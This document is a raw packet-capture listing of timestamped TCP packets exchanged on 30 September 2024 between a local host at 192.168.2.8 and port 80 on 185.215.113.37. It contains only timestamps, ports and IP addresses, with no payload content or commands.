Sep 30, 2024 12:33:11.399985075 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.400002956 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.400002956 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.400012970 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.400023937 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.400041103 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.400043011 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.400058031 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.400062084 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.400079966 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.400085926 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.400099039 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.400106907 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.400122881 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.400125980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.400142908 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.400147915 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.400158882 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.400185108 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.408821106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.408884048 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.408906937 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.408936024 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.408953905 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.408957958 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.408967972 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.408977032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.408991098 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.408998966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.409013987 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.409015894 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.409037113 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.409044027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.409053087 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.409080982 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447274923 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447289944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447323084 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447340965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447364092 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447381020 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447429895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447451115 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447458029 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447458029 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447458029 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447474957 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447478056 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447494030 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447494030 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447519064 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447520971 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447530031 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447536945 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447556019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447561979 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447576046 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447578907 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447601080 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447604895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447613955 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447618008 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447643995 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447647095 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447658062 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447665930 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447679043 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447690964 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447704077 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447720051 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447730064 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447735071 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447761059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447762012 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447779894 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447782040 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447798967 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447804928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447818041 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447830915 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447850943 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447863102 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447869062 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447886944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447915077 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447931051 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.447945118 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447958946 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447987080 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.447988987 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448002100 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448004961 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448018074 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448033094 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448035955 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448056936 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448077917 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448102951 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448185921 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448199034 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448230028 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448244095 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448308945 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448327065 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448348999 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448353052 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448369026 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448370934 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448385954 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448386908 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448405027 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448417902 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448421955 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448436022 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448457956 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448458910 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448471069 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448488951 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448498011 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448506117 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448528051 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448529959 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448548079 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448548079 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448559999 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448580027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448586941 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448597908 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448621988 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448625088 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448637962 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448645115 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448663950 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448673010 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448678970 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448688030 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448724031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448731899 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448731899 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448740959 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448760033 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448771954 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448776007 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448788881 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448810101 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448812962 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448822021 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448841095 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448849916 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448868036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448885918 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448885918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448908091 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448909044 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448924065 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448925972 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448950052 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448952913 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448968887 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.448981047 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.448997974 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.449002981 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.449019909 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.449021101 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.449039936 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.449044943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.449059963 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.449068069 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.449084044 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.449090004 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.449103117 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.449107885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.449127913 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.449131966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.449137926 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.449150085 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.449168921 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.449173927 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.449193954 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.449198008 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.449215889 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.449217081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.449243069 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.449261904 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.485668898 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.485698938 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.485716105 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.485755920 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.485773087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.485789061 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.485795021 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.485797882 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.485819101 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.485836983 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.485852957 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.485853910 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.485872984 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.485892057 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.485896111 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.485908985 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.485913992 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.485939026 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.485939980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.485948086 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.485965014 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.485979080 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.485987902 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486002922 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486008883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486023903 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486041069 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486052036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486068964 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486093044 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486098051 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486108065 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486116886 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486125946 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486135006 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486141920 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486154079 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486174107 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486186981 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486191034 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486206055 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486232042 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486238956 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486253023 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486254930 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486272097 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486272097 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486284971 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486296892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486313105 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486334085 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486349106 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486349106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486372948 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486377954 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486390114 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486392021 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486418009 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486419916 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486434937 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486438036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486459017 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486463070 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486466885 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486480951 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486505985 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.486507893 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486524105 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.486542940 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.495058060 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.495125055 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.495141983 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.495166063 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.495173931 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.495184898 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.495193005 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.495217085 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.495218039 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.495234966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.495244026 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.495259047 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.495280981 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.533690929 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.533709049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.533740997 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.533755064 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.533763885 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.533778906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.533790112 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.533797026 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.533818960 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.533843040 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.533889055 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.533896923 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.533919096 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.533930063 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.533946037 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.533955097 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.533970118 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.533987045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534009933 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534010887 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534013033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534050941 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534050941 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534070015 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534085989 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534092903 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534113884 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534115076 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534127951 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534135103 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534147978 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534157038 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534163952 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534177065 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534192085 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534205914 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534213066 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534214973 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534225941 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534276962 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534291983 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534312963 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534332991 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534337044 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534357071 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534363031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534373045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534384012 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534400940 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534400940 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534414053 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534425974 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534435034 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534445047 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534463882 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534482002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534483910 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534496069 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534524918 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534529924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534542084 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534548044 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534568071 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534571886 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534584045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.534601927 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.534607887 CEST	49705	80	192.168.2.8	185.215.113.37
